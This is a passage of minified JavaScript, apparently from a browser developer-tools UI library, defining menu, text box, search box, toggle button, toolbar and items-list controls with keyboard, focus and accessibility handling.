s=this.rootElement.querySelectorAll("li["+e.TemplateDataAttributes.CONTROL+"]"),n=0;n<s.length;n++){var o=s[n];F12.Tools.Utility.Assert.isTrue(!!o.control,"All menuItemElements must have a control");var r=o.control;this.menuItems.push(r);this._menuItemsPropChangedRegistration.push(r.propertyChanged.addHandler(this.onMenuItemPropertyChanged.bind(this,r)));this._menuItemsClickRegistration.push(r.click.addHandler(this.onMenuItemClick.bind(this)))}}}onSelectedItemChanged(){if(this.selectedItem){var e=this.menuItems.indexOf(this.selectedItem);e!==this._selectedIndex&&this.setSelectedIndex(e,!1)}else this.setSelectedIndex(-1,!1)}onFocusIn(e){for(var t=0;t<this.menuItems.length;t++){if(this.menuItems[t].rootElement.contains(e.target))break}t<this.menuItems.length?this.setSelectedIndex(t,!0):this.menuItems[0]&&this.menuItems[0].rootElement&&this.menuItems[0].rootElement.focus()}changeSelection(e){if(0!==this.menuItems.length){var t,i=0===e?1:-1,s=this.menuItems[this._selectedIndex],n=this._selectedIndex;do{(n=(n+i)%this.menuItems.length)<0&&(n=this.menuItems.length-1);t=this.menuItems[n];if(s){if(t===s)break}else s=t}while(!t.isVisible||!t.isEnabled);t.isVisible&&t.isEnabled&&this.setSelectedIndex(n,!0)}}pressSelectedItem(){var e=this.menuItems[this._selectedIndex];e&&e.press()}setSelectedIndex(e,t){if(this._selectedIndex!=e){this._selectedIndex>=0&&this._selectedIndex<this.menuItems.length&&this.menuItems[this._selectedIndex].rootElement.classList.remove(i.CLASS_SELECTED);this._selectedIndex=e;var s=this.menuItems[this._selectedIndex];if(s){s.rootElement.classList.add(i.CLASS_SELECTED);t&&s.rootElement.focus();this.selectedItem=s}}}isMenuContentsLongerThanButton(){if(this.rootElement&&this.targetButtonElement&&this.isVisible){return this.rootElement.offsetWidth>this.targetButtonElement.offsetWidth}return!1}}i.CLASS_LONG_MENU="longMenu";i.CLASS_SELECTED="selected";i.MenuItemsTemplateIdPropertyName="menuItemsTemplateId";i.SelectedItemPropertyName="selectedItem";t.MenuControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.ContentControl{constructor(t){super(t||"Common.menuItemTemplate");this.click=new e.EventSource}static initialize(){e.ObservableHelpers.defineProperty(i,i.GroupNamePropertyName,null);e.ObservableHelpers.defineProperty(i,i.IsChecked,!1,(e,t,i)=>e.onIsCheckedChanged(t,i))}onInitializeOverride(){super.onInitializeOverride();this._mouseHandler=(e=>this.onMouseEvent(e));this._keyUpHandler=(e=>this.onKeyUp(e));this._domEventHanlder=(e=>this.onDomAttributeModified(e))}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this.rootElement.addEventListener("click",this._mouseHandler);this.rootElement.addEventListener("mousedown",this._mouseHandler);this.rootElement.addEventListener("mouseup",this._mouseHandler);this.rootElement.addEventListener("mouseleave",this._mouseHandler);this.rootElement.addEventListener("keyup",this._keyUpHandler);this.rootElement.addEventListener("DOMAttrModified",this._domEventHanlder)}this.onIsCheckedChanged(null,this.isChecked)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.isEnabled?this.rootElement.removeAttribute("disabled"):this.rootElement.setAttribute("disabled","disabled")}onKeyUpOverride(e){return!1}onMouseClickOverride(e){return!1}onTemplateChanging(){super.onTemplateChanging();if(this.rootElement){this.rootElement.removeEventListener("click",this._mouseHandler);this.rootElement.removeEventListener("mousedown",this._mouseHandler);this.rootElement.removeEventListener("mouseup",this._mouseHandler);this.rootElement.removeEventListener("mouseleave",this._mouseHandler);this.rootElement.removeEventListener("keyup",this._keyUpHandler);this.rootElement.removeEventListener("DOMAttrModified",this._domEventHanlder)}}press(e){this.isEnabled&&this.click.invoke(e)}onDomAttributeModified(e){if("aria-checked"===e.attrName){var t="true"===e.newValue;this.isChecked!==t&&(this.isChecked=t)}}onIsCheckedChanged(e,t){if(this.rootElement){t?this.rootElement.classList.remove(i.CLASS_HIDDEN_CHECK_MARK):this.rootElement.classList.add(i.CLASS_HIDDEN_CHECK_MARK);this.rootElement.setAttribute("aria-checked",""+t);this.rootElement.focus()}}onKeyUp(t){if(this.isEnabled){var i=this.onKeyUpOverride(t);if(!i&&(t.keyCode===e.KeyCodes.Enter||t.keyCode===e.KeyCodes.Space)){this.press(t);i=!0}i&&t.stopImmediatePropagation()}}onMouseEvent(e){if(this.isEnabled){switch(e.type){case"click":this.onMouseClickOverride(e)||this.press(e);break;case"mousedown":case"mouseup":case"mouseleave":break;default:F12.Tools.Utility.Assert.fail("Unexpected")}e.stopImmediatePropagation()}}}i.CLASS_HIDDEN_CHECK_MARK="hiddenCheckMark";i.GroupNamePropertyName="groupName";i.IsChecked="isChecked";t.MenuItem=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.Controls.MenuItem{constructor(e){super(e||"Common.menuItemCheckBoxTemplate")}onKeyUpOverride(t){var i=!1;if(t.key===e.Keys.SPACEBAR){this.isChecked=!this.isChecked;i=!0}i||(i=super.onKeyUpOverride(t));return i}press(e){var t=this.getNamedElement("BPT-menuItemCheckBox");if(!e||e.srcElement!==t){this.isChecked=!this.isChecked;super.press(e)}}}t.CheckBoxMenuItem=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.Controls.MenuItem{constructor(e){super(e||"Common.menuItemTextBoxTemplate")}static initialize(){e.ObservableHelpers.defineProperty(i,i.PlaceholderPropertyName,null)}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e))}onApplyTemplate(){super.onApplyTemplate();this._textBox=this.getNamedElement("BPT-menuItemTextBox");F12.Tools.Utility.Assert.isTrue(!!this._textBox,"Expecting a textbox with the name BPT-menuItemTextBox");this.rootElement.addEventListener("focusin",this._focusInHandler)}onKeyUpOverride(t){var i=!1;if(t.srcElement===this._textBox&&t.keyCode===e.KeyCodes.Escape){t.stopImmediatePropagation();i=!0}i||(i=super.onKeyUpOverride(t));return i}onTemplateChanging(){super.onTemplateChanging();this.rootElement&&this.rootElement.removeEventListener("focusin",this._focusInHandler)}press(e){}onFocusIn(e){this._textBox.focus()}}i.PlaceholderPropertyName="placeholder";t.TextBoxMenuItem=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.Controls.MenuItem{constructor(e){super(e||"Common.menuItemComboBoxTemplate")}static initialize(){e.ObservableHelpers.defineProperty(i,"items",null);e.ObservableHelpers.defineProperty(i,"selectedValue",null)}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e))}onApplyTemplate(){super.onApplyTemplate();this._selectElement=this.getNamedElement("BPT-menuItemComboBox");F12.Tools.Utility.Assert.isTrue(!!this._selectElement,"Expecting a combobox with the name BPT-menuItemComboBox");this.rootElement.addEventListener("focusin",this._focusInHandler)}onKeyUpOverride(t){var i=!1;(t.srcElement===this._selectElement&&t.key===e.Keys.SPACEBAR||t.key===e.Keys.ENTER||t.key===e.Keys.DOWN||t.key===e.Keys.UP)&&(i=!0);i||(i=super.onKeyUpOverride(t));return i}onTemplateChanging(){super.onTemplateChanging();this.rootElement&&this.rootElement.removeEventListener("focusin",this._focusInHandler)}press(e){}onFocusIn(e){this._selectElement.focus()}}t.ComboBoxMenuItem=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e)}static initialize(){}addClickHandlerToButton(e,t){var i=this.getNamedElement(e);i&&i.control&&i.control.click.addHandler(t)}}t.Panel=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e||"Common.defaultTextBoxTemplate")}get focusableElement(){return this.rootElement}static initialize(){e.ObservableHelpers.defineProperty(i,i.PlaceholderPropertyName,"");e.ObservableHelpers.defineProperty(i,i.ReadonlyPropertyName,!1,e=>e.onReadonlyChanged());e.ObservableHelpers.defineProperty(i,i.TextPropertyName,"",e=>e.onTextChangedOverride())}onInitializeOverride(){super.onInitializeOverride();this._keyboardHandler=(e=>this.onKeyboardEvent(e))}onApplyTemplate(){super.onApplyTemplate();this._inputRootElement=this.getNamedElement(i.InputElementName)||this.rootElement;F12.Tools.Utility.Assert.isTrue(!!this._inputRootElement,"Expecting a root element for the input element in TextBox.");this._textBinding=this.getBinding(this._inputRootElement,"value");this._inputRootElement.addEventListener("keydown",this._keyboardHandler);this._inputRootElement.addEventListener("keypress",this._keyboardHandler);this._inputRootElement.addEventListener("input",this._keyboardHandler)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.isEnabled?this.rootElement.removeAttribute("disabled"):this.rootElement.setAttribute("disabled","disabled")}onTextChangedOverride(){}onTemplateChanging(){super.onTemplateChanging();if(this._inputRootElement){this._inputRootElement.removeEventListener("keypress",this._keyboardHandler);this._inputRootElement.removeEventListener("keydown",this._keyboardHandler);this._inputRootElement.removeEventListener("input",this._keyboardHandler)}}onKeyboardEvent(t){if(this.isEnabled)switch(t.type){case"keydown":t.key===e.Keys.ENTER&&this._textBinding&&this._textBinding.updateSourceFromDest();break;case"keypress":if(this.clearOnEscape&&t.keyCode===e.KeyCodes.Escape){this._inputRootElement.value="";this._textBinding&&this._textBinding.updateSourceFromDest();t.stopImmediatePropagation();t.preventDefault()}break;case"input":this.updateOnInput&&this._textBinding&&this._textBinding.updateSourceFromDest();break;default:F12.Tools.Utility.Assert.fail("Unexpected")}}onReadonlyChanged(){this._inputRootElement&&(this._inputRootElement.readOnly=this.readonly)}}i.PlaceholderPropertyName="placeholder";i.ReadonlyPropertyName="readonly";i.TextPropertyName="text";i.InputElementName="_textBoxRoot";t.TextBox=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.TextBox{constructor(e){super(e||"Common.searchBoxTemplate");this.updateOnInput=!0;this.placeholder=Microsoft.Plugin.Resources.getString("/Common/SearchBoxPlaceholder")}get searchText(){return this.text}set searchText(e){this.text=e||""}get searchProvider(){return this._searchProvider}set searchProvider(e){this._searchProvider=e;if(this._searchProvider){this._searchProvider.disableButtons&&this.hideNextPreviousButtons();void 0!==this._searchProvider.searchText&&(this.searchText=this._searchProvider.searchText)}}onApplyTemplate(){super.onApplyTemplate();this._searchBoxBorder=this.getNamedElement("searchBoxBorder");this._searchBox=this.getNamedElement("_textBoxRoot");this._searchPreviousButton=this.getNamedElement("searchPreviousResult");this._searchPreviousButton.addEventListener("click",t=>{this.findNextMatch(!1,e.TriggerType.Ui)});this._searchPreviousButton.addEventListener("keydown",t=>{if(t.keyCode===e.KeyCodes.Enter||t.keyCode===e.KeyCodes.Space){this.findNextMatch(!1,e.TriggerType.KeyboardShortcut);return!1}return!0});this._searchNextButton=this.getNamedElement("searchNextResult");this._searchNextButton.addEventListener("click",t=>{this.findNextMatch(!0,e.TriggerType.Ui)});this._searchNextButton.addEventListener("keydown",t=>{if(t.keyCode===e.KeyCodes.Enter||t.keyCode===e.KeyCodes.Space){this.findNextMatch(!0,e.TriggerType.KeyboardShortcut);return!1}return!0});this.hideNextPreviousButtons();this._searchBox.addEventListener("keydown",e=>this.onKeyDownSearchBox(e));new e.CutCopyPasteContextMenu(this._searchBox,this.onTextChangedOverride.bind(this));this._keydownHandler=(e=>this.onKeyDownGlobal(e));document.addEventListener("keydown",this._keydownHandler);Microsoft.Plugin.F12&&Microsoft.Plugin.F12.addEventListener("keydown",this._keydownHandler)}onTemplateChanging(){if(this._keydownHandler){document&&document.removeEventListener("keydown",this._keydownHandler);Microsoft.Plugin.F12&&Microsoft.Plugin.F12.removeEventListener("keydown",this._keydownHandler)}}findNextMatch(t,s,n=e.Telemetry.CommandName.FIND_NEXT_OR_PREVIOUS){var o=document.activeElement===this._searchBox;this.isEnabled=!1;return this.searchProvider.findNextMatch(this.searchText,t,s,n).then(e=>{this.isEnabled=!0;o&&window.setImmediate(()=>{document.body&&document.body.contains(this._searchBox)&&this._searchBox.focus()});if(!e){this.isEnabled=!0;this._searchBoxBorder.classList.add(i.RESULT_NOT_FOUND_CLASS);this.hideNextPreviousButtons()}return e})}findAndHighlightMatches(){this._searchBoxBorder.classList.remove(i.RESULT_NOT_FOUND_CLASS);this.searchProvider.findAndHighlightMatches(this.searchText)}onTextChangedOverride(){this.findAndHighlightMatches();""===this.searchText?this.hideNextPreviousButtons():this.showNextPreviousButtons()}focusSearchBox(e,t){try{Microsoft.Plugin.F12&&F12&&F12.Tools&&F12.Tools.Debugger&&F12.Tools.Debugger.Telemetry.logCommandWrapper(e,t,()=>{})}catch(e){}this._searchBox.focus();this._searchBox.setSelectionRange(0,this.searchText.length)}onKeyDownGlobal(t){if(!document.body||!document.body.contains(this._searchBox))return!0;var i=!1;if(t.keyCode!==e.KeyCodes.F3||t.ctrlKey||t.altKey){if(t.keyCode===e.KeyCodes.F3&&t.ctrlKey&&!t.altKey){this.updateSearchTextFromSelection();this.findNextMatch(!t.shiftKey,e.TriggerType.KeyboardShortcut,e.Telemetry.CommandName.UPDATE_SEARCH_NEXT_OR_PREVIOUS);i=!0}else if(t.keyCode===e.KeyCodes.F&&t.ctrlKey&&!t.altKey){this.updateSearchTextFromSelection();this.focusSearchBox(e.Telemetry.CommandName.DEBUGGER_FIND,e.TriggerType.KeyboardShortcut);i=!0}}else{this.findNextMatch(!t.shiftKey,e.TriggerType.KeyboardShortcut);i=!0}if(i){t.preventDefault();t.stopImmediatePropagation();return!1}return!0}onKeyDownSearchBox(t){t.keyCode!==e.KeyCodes.Enter||t.altKey||t.ctrlKey?t.keyCode===e.KeyCodes.Escape&&this.clearSearchBox():this.findNextMatch(!t.shiftKey,e.TriggerType.KeyboardShortcut);return!0}clearSearchBox(){try{Microsoft.Plugin.F12&&F12&&F12.Tools&&F12.Tools.Debugger&&F12.Tools.Debugger.Telemetry.analytics.logExecuteCommand(e.Telemetry.CommandName.SEARCHBOX_CLEAR,e.TriggerType.KeyboardShortcut)}catch(e){}this.searchText="";this.findAndHighlightMatches();this.hideNextPreviousButtons()}updateSearchTextFromSelection(){var e=this.searchProvider.getSearchTextFromSelection(this.searchText);this.searchText=e;this.findAndHighlightMatches()}showNextPreviousButtons(){if(!this._searchProvider.disableButtons){this._searchPreviousButton.classList.remove(e.TemplateControl.CLASS_HIDDEN);this._searchNextButton.classList.remove(e.TemplateControl.CLASS_HIDDEN)}}hideNextPreviousButtons(){this._searchPreviousButton.classList.add(e.TemplateControl.CLASS_HIDDEN);this._searchNextButton.classList.add(e.TemplateControl.CLASS_HIDDEN)}}i.RESULT_NOT_FOUND_CLASS="BPT-SearchBox-NoResult";i.SEARCH_TIMEOUT=5e3;i.SEARCH_TERM_DECORATION_CLASS="searchTermDecoration";t.SearchControl=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.Button{constructor(e){super(e);this.toggleIsCheckedOnClick=!0;this.click.addHandler(e=>{this.toggleIsCheckedOnClick&&(this.isChecked=!this.isChecked)})}static initialize(){e.ObservableHelpers.defineProperty(t.Button,"isChecked",!1,(e,t,i)=>e.onIsCheckedChanged(t,i))}onInitializeOverride(){super.onInitializeOverride();this._modificationHandler=(e=>this.onModificationEvent(e))}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this.rootElement.addEventListener("DOMAttrModified",this._modificationHandler);this.onIsCheckedChanged(null,this.isChecked)}}onTemplateChanging(){super.onTemplateChanging();this.rootElement&&this.rootElement.removeEventListener("DOMAttrModified",this._modificationHandler)}onKeyboardEventOverride(t){if(t.keyCode===e.KeyCodes.ArrowDown&&t.altKey&&!t.ctrlKey)switch(t.type){case"keydown":this.press(t);return!0}return!1}onIsCheckedChanged(e,t){if(this.rootElement){if(!this._isChangingAriaPressed){this._isChangingAriaPressed=!0;this.rootElement.setAttribute("aria-pressed",t+"");this._isChangingAriaPressed=!1}t?this.rootElement.classList.add(i.CLASS_CHECKED):this.rootElement.classList.remove(i.CLASS_CHECKED)}}onModificationEvent(e){if(!this._isChangingAriaPressed&&this.isEnabled&&"aria-pressed"===e.attrName&&e.attrChange===e.MODIFICATION){this._isChangingAriaPressed=!0;this.isChecked="true"===e.newValue;this._isChangingAriaPressed=!1}}}i.CLASS_CHECKED="checked";t.ToggleButton=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.Panel{constructor(e){super(e||"Common.defaultToolbarTemplate");this._activeIndex=-1;this._controls=[];this._controlsPropChangedRegistration=[];this._toolbarPanel=null}static initialize(){e.ObservableHelpers.defineProperty(i,i.PanelTemplateIdPropertyName,"",(e,t,i)=>e.onPanelTemplateIdChanged(t,i));e.ObservableHelpers.defineProperty(i,i.TitlePropertyName,"")}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e));this._toolbarKeyHandler=(e=>this.onToolbarKeyboardEvent(e))}getActiveElement(){return this._activeIndex>=0&&this._activeIndex<this._controls.length?this._controls[this._activeIndex].rootElement:null}moveToControl(e){var t=0===e?1:this._controls.length-1,i=document.activeElement;if(0!==this._controls.length&&-1!==this._activeIndex&&i){for(var s=this._activeIndex,n=0;n<this._controls.length;n++)if(this._controls[n].rootElement===i){s=n;break}for(var o=s;s!==(o=(o+t)%this._controls.length);){var r=this._controls[o];if(r.isVisible&&r.isEnabled){this.setActiveIndex(o,!0);break}}}}onFocusIn(e){for(var t=0;t<this._controls.length;t++){if(this._controls[t].rootElement.contains(e.target))break}t<this._controls.length&&this.setTabStop(t)}onPanelTemplateIdChanged(t,s){if(this._toolbarPanel){this._toolbarPanel.removeEventListener("focusin",this._focusInHandler);this._toolbarPanel.removeEventListener("keydown",this._toolbarKeyHandler);this._toolbarPanel=null}for(;this._controlsPropChangedRegistration.length>0;)this._controlsPropChangedRegistration.pop().unregister();if(s){this._controls=[];this.setActiveIndex(-1);this._toolbarPanel=this.getNamedElement(i.TOOLBAR_PANEL_ELEMENT_NAME);F12.Tools.Utility.Assert.hasValue(this._toolbarPanel,"Expecting a toolbar panel with the name: "+i.TOOLBAR_PANEL_ELEMENT_NAME);this._toolbarPanel.addEventListener("focusin",this._focusInHandler);this._toolbarPanel.addEventListener("keydown",this._toolbarKeyHandler);for(var n=0;n<this._toolbarPanel.children.length;n++){var o=this._toolbarPanel.children[n];if(o.control){F12.Tools.Utility.Assert.isTrue(o.control instanceof e.TemplateControl,"We only support controls of type TemplateControl in the Toolbar");var r=o.control;this._controls.push(r);this._controlsPropChangedRegistration.push(r.propertyChanged.addHandler(this.onChildControlPropertyChanged.bind(this,r)))}}}this.setTabStop()}onToolbarKeyboardEvent(t){if(t.keyCode===e.KeyCodes.ArrowLeft){this.moveToControl(1);t.stopPropagation()}else if(t.keyCode===e.KeyCodes.ArrowRight){this.moveToControl(0);t.stopPropagation()}}onChildControlPropertyChanged(t,i){if(i===e.TemplateControl.IsEnabledPropertyName||i===e.TemplateControl.IsVisiblePropertyName)if(-1===this._activeIndex)this.setTabStop();else{t===this._controls[this._activeIndex]&&(t.isEnabled&&t.isVisible||this.setTabStop(this._activeIndex))}}setTabStop(e){this.setActiveIndex(-1);if(!((e=e||0)<0||e>=this._controls.length)){var t=e,i=!1;do{var s=this._controls[t];if(!i&&s.isVisible&&s.isEnabled){this.setActiveIndex(t);i=!0}else s.tabIndex=-1}while(e!==(t=(t+1)%this._controls.length))}}setActiveIndex(e,t){this._activeIndex>=0&&this._activeIndex<this._controls.length&&(this._controls[this._activeIndex].tabIndex=-1);this._activeIndex=e;var i=this._controls[this._activeIndex];if(i){i.tabIndex=1;t&&i.rootElement.focus()}}}i.TOOLBAR_PANEL_ELEMENT_NAME="_toolbarPanel";i.PanelTemplateIdPropertyName="panelTemplateId";i.TitlePropertyName="title";t.ToolbarControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e)}get itemControlsPoolSizeLimit(){return this._itemControlsPool?this._itemControlsPool.sizeLimit:0}set itemControlsPoolSizeLimit(t){this.itemControlsPoolSizeLimit!==t&&(this._itemControlsPool=new e.ControlPool(t))}static initialize(){e.ObservableHelpers.defineProperty(i,"items","",(e,t,i)=>e.onItemsChange(t,i));e.ObservableHelpers.defineProperty(i,"itemContainerControl","",(e,t,i)=>e.onItemContainerControlChange(t,i))}getIndex(e){F12.Tools.Utility.Assert.isTrue(!!this._collection,"Expecting a non-null collection in the ItemsControl");var t=this._collection.indexOf(e);if(-1!==t)return t}getItem(e){F12.Tools.Utility.Assert.isTrue(!!this._collection,"Expecting a non-null collection in the ItemsControl");return this._collection.getItem(e)}getItemCount(){return this._collection?this._collection.length:0}onTooltipChangedOverride(){super.onTooltipChangedOverride();this.updateTooltip(this.tooltip)}disposeItemContainerOverride(e){}prepareItemContainerOverride(e,t){}onApplyTemplate(){super.onApplyTemplate();this.panelRootElement=this.getNamedElement(i.PanelRootElementName)||this.rootElement;F12.Tools.Utility.Assert.isTrue(!!this.panelRootElement,"Expecting a root element for the panel in ItemsControl.");this.updateTooltip(this.tooltip);this.regenerateItemControls()}onTemplateChanging(){this.updateTooltip(null);this.removeAllItemControls();super.onTemplateChanging()}onItemsChangedOverride(){}onItemContainerControlChangedOverride(){}onCollectionChangedOverride(e){}onItemsChange(t,i){if(this._collectionChangedRegistration){this._collectionChangedRegistration.unregister();this._collectionChangedRegistration=null}this._collection=null;if(this.items)if(this.items.collectionChanged){this._collectionChangedRegistration=this.items.collectionChanged.addHandler(this.onCollectionChanged.bind(this));this._collection=this.items}else this._collection=new e.ObservableCollection(this.items);this.regenerateItemControls();this.onItemsChangedOverride()}onItemContainerControlChange(t,i){this._itemContainerConstruction=null;this._itemControlsPool&&this._itemControlsPool.clear();this.itemContainerControl&&(this._itemContainerConstruction=e.ControlConstruction.createFromStringOrType(this.itemContainerControl));this.regenerateItemControls();this.onItemContainerControlChangedOverride()}onCollectionChanged(e){switch(e.action){case 0:this.insertItemControls(e.newStartingIndex,e.newItems.length);break;case 3:this.removeAllItemControls();break;case 1:this.removeItemControls(e.oldStartingIndex,e.oldItems.length);break;case 2:this.regenerateItemControls()}this.onCollectionChangedOverride(e)}createItemControl(e){var t;t=this._itemControlsPool?this._itemControlsPool.getControl("default",()=>this._itemContainerConstruction.getNewControl()):this._itemContainerConstruction.getNewControl();this.prepareItemContainer(t,e);return t}disposeItemContainer(e){this.disposeItemContainerOverride(e);if(e&&e.model){e.model=null;this._itemControlsPool&&this._itemControlsPool.recycleControl("default",e)}}prepareItemContainer(e,t){this._itemContainerConstruction.isTemplateControl&&(e.model=t);this.prepareItemContainerOverride(e,t)}regenerateItemControls(){this.removeAllItemControls();this._collection&&this.insertItemControls(0,this._collection.length)}insertItemControls(e,t){if(this._itemContainerConstruction){var i=e+t;F12.Tools.Utility.Assert.isTrue(i<=this._collection.length,"Unexpected range after inserting into items.");F12.Tools.Utility.Assert.isTrue(e<=this.panelRootElement.childElementCount,"Collection and child elements mismatch.");if(e===this.panelRootElement.childElementCount)for(var s=e;s<i;s++){var n=this._collection.getItem(s),o=this.createItemControl(n);this.panelRootElement.appendChild(o.rootElement)}else{var r=this.panelRootElement.childNodes.item(e);for(s=e;s<i;s++){n=this._collection.getItem(s),o=this.createItemControl(n);this.panelRootElement.insertBefore(o.rootElement,r)}}}}removeAllItemControls(){if(this.panelRootElement)for(;this.panelRootElement.hasChildNodes();){var e=this.panelRootElement.lastChild,t=e.control;this.disposeItemContainer(t);this.panelRootElement.removeChild(e)}}removeItemControls(e,t){for(var i=e+t-1;i>=e;i--){var s=this.panelRootElement.children[i];if(s){var n=s.control;this.disposeItemContainer(n);this.panelRootElement.removeChild(s)}}}updateTooltip(e){if(this.panelRootElement)if(e){this.panelRootElement.setAttribute("data-plugin-vs-tooltip",e);this.panelRootElement.setAttribute("aria-label",e)}else{this.panelRootElement.removeAttribute("data-plugin-vs-tooltip");this.panelRootElement.removeAttribute("aria-label")}}}i.PanelRootElementName="_panel";t.ItemsControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.ItemsControl{constructor(e){super(e);this._selectedItem=null;this._currentOffset=0}get selectedItem(){return this._selectedItem}set selectedItem(e){if(e!==this._selectedItem){var t=0===this.getItemCount()?void 0:this.getIndex(e);if(void 0!==t){this._selectedItem=e;this.selectedIndex=t}else{this._selectedItem=null;this.selectedIndex=null}this.propertyChanged.invoke(i.SelectedItemPropertyName)}}static initialize(){e.ObservableHelpers.defineProperty(i,i.IsVerticalPropertyName,!1,e=>e.onIsVerticalChanged());e.ObservableHelpers.defineProperty(i,i.ScrollIncrementPropertyName,1,e=>e.updateButtons());e.ObservableHelpers.defineProperty(i,i.ScrollPositionPropertyName,0,e=>e.onScrollPositionChanged());e.ObservableHelpers.defineProperty(i,i.SelectedIndexPropertyName,null,(e,t,i)=>e.onSelectedIndexChanged(t,i))}onInitializeOverride(){super.onInitializeOverride();this._backwardScrollHandler=(()=>this.scrollBackward());this._forwardScrollHandler=(()=>this.scrollForward());this._onFocusInHandler=(e=>this.onFocusIn(e));this._onFocusOutHandler=(e=>this.onFocusOut(e));this._onKeyDownhandler=(e=>this.onKeyDown(e))}scrollBackward(){this.scrollPosition=Math.max(this.scrollPosition-this.scrollIncrement,0)}scrollForward(){this.scrollPosition+this.scrollIncrement<this.getItemCount()&&(this.scrollPosition+=this.scrollIncrement)}onApplyTemplate(){super.onApplyTemplate();this._panelTabIndex=this.panelRootElement.tabIndex;this.panelRootElement.classList.add(i.PANEL_CLASS);this.onIsVerticalChanged();this.initializeButtons();this.initializeKeyboard();this.refresh()}onTemplateChanging(){if(this.panelRootElement){this.cleanupKeyboard();this.cleanupButtons();this.selectedIndex=null;this.scrollPosition=0;this.panelRootElement.classList.remove(i.HORIZONTAL_PANEL_CLASS);this.panelRootElement.classList.remove(i.PANEL_CLASS);this._panelTabIndex=null}super.onTemplateChanging()}onItemsChangedOverride(){super.onItemsChangedOverride();this.resetState()}onCollectionChangedOverride(e){super.onCollectionChangedOverride(e);this.resetState()}refresh(){this.onScrollPositionChanged();this.displaySelected();this.updateButtons()}onIsVerticalChanged(){this.setOffset(0);if(this.isVertical){this._lengthProperty="offsetHeight";this._offsetProperty="offsetTop";this._positioningProperty="top";this.panelRootElement.classList.remove(i.HORIZONTAL_PANEL_CLASS)}else{this._lengthProperty="offsetWidth";this._offsetProperty="offsetLeft";this._positioningProperty="left";this.panelRootElement.classList.add(i.HORIZONTAL_PANEL_CLASS)}this.refresh()}onScrollPositionChanged(){this.updateButtons();if(0!==this.getItemCount()){F12.Tools.Utility.Assert.isTrue(this.scrollPosition>=0&&this.scrollPosition<this.getItemCount(),"Scrolled to invalid position");var e=this.panelRootElement.children[this.scrollPosition];this.setOffset(this._currentOffset+e[this._offsetProperty])}else{F12.Tools.Utility.Assert.areEqual(0,this.scrollPosition);this.setOffset(0)}}onSelectedIndexChanged(e,t){if(null!==e&&e<this.getItemCount()){F12.Tools.Utility.Assert.isTrue(e>=0&&e<this.getItemCount(),"Invalid existing index "+e);this.panelRootElement.children[e].classList.remove(i.SELECTED_ITEM_CLASS)}if(null===t)this.selectedItem=null;else{F12.Tools.Utility.Assert.isTrue(this.selectedIndex>=0&&this.selectedIndex<this.getItemCount(),"Invalid new index "+this.selectedIndex);this.selectedItem=this.getItem(t)}this.displaySelected()}displaySelected(){if(null!==this.selectedIndex){var e=this.panelRootElement.children[this.selectedIndex];F12.Tools.Utility.Assert.isTrue(!!e,"No HTML element for selected index: "+this.selectedIndex);this.scrollIntoView(e);e.classList.add(i.SELECTED_ITEM_CLASS)}}onFocusIn(e){for(var t=0,i=this.panelRootElement.children.length;t<i;t++){var s=this.panelRootElement.children[t];if(s.contains(e.target)){this.makeTabbable(s);this.selectedIndex===t?this.displaySelected():this.selectedIndex=t;var n=s.getAttribute("data-plugin-vs-tooltip");if(n){var o=s.getBoundingClientRect(),r={content:n,x:o.left,y:o.top};Microsoft.Plugin.Tooltip.show(r)}return}}if(null!==this.selectedIndex){e.preventDefault();this.setFocus(this.panelRootElement.children[this.selectedIndex])}}onFocusOut(e){e.relatedTarget&&(e.relatedTarget===this.panelRootElement||this.panelRootElement.contains(e.relatedTarget))||this.makeTabbable(this.panelRootElement)}onKeyDown(t){var i=!1,s=this.isVertical?e.KeyCodes.ArrowUp:e.KeyCodes.ArrowLeft,n=this.isVertical?e.KeyCodes.ArrowDown:e.KeyCodes.ArrowRight;switch(t.keyCode){case n:this.focusNext();i=!0;break;case s:this.focusPrevious();i=!0}i&&t.stopImmediatePropagation();return i}focusPrevious(){var e;if(this.getItemCount()>0){if(null===this.selectedIndex)e=this.getItemCount()-1;else{F12.Tools.Utility.Assert.isTrue(this.selectedIndex>=0&&this.selectedIndex<this.getItemCount(),"Invalid selected index");e=Math.max(this.selectedIndex-1,0)}this.setFocus(this.panelRootElement.children[e])}}focusNext(){var e;if(this.getItemCount()>0){if(null===this.selectedIndex)e=0;else{F12.Tools.Utility.Assert.isTrue(this.selectedIndex>=0&&this.selectedIndex<this.getItemCount(),"Invalid selected index");e=Math.min(this.selectedIndex+1,this.getItemCount()-1)}this.setFocus(this.panelRootElement.children[e])}}scrollIntoView(e){if(this.isForwardEdgeOutOfView(e)){for(var t=this.scrollPosition;t<this.getItemCount();t+=this.scrollIncrement)if(this.isInView(e,t)){this.scrollPosition=t;return}F12.Tools.Utility.Assert.fail("Could not find a scroll setting that brings element fully into view - is your scrollIncrement too big or your panel incorrectly sized?")}else 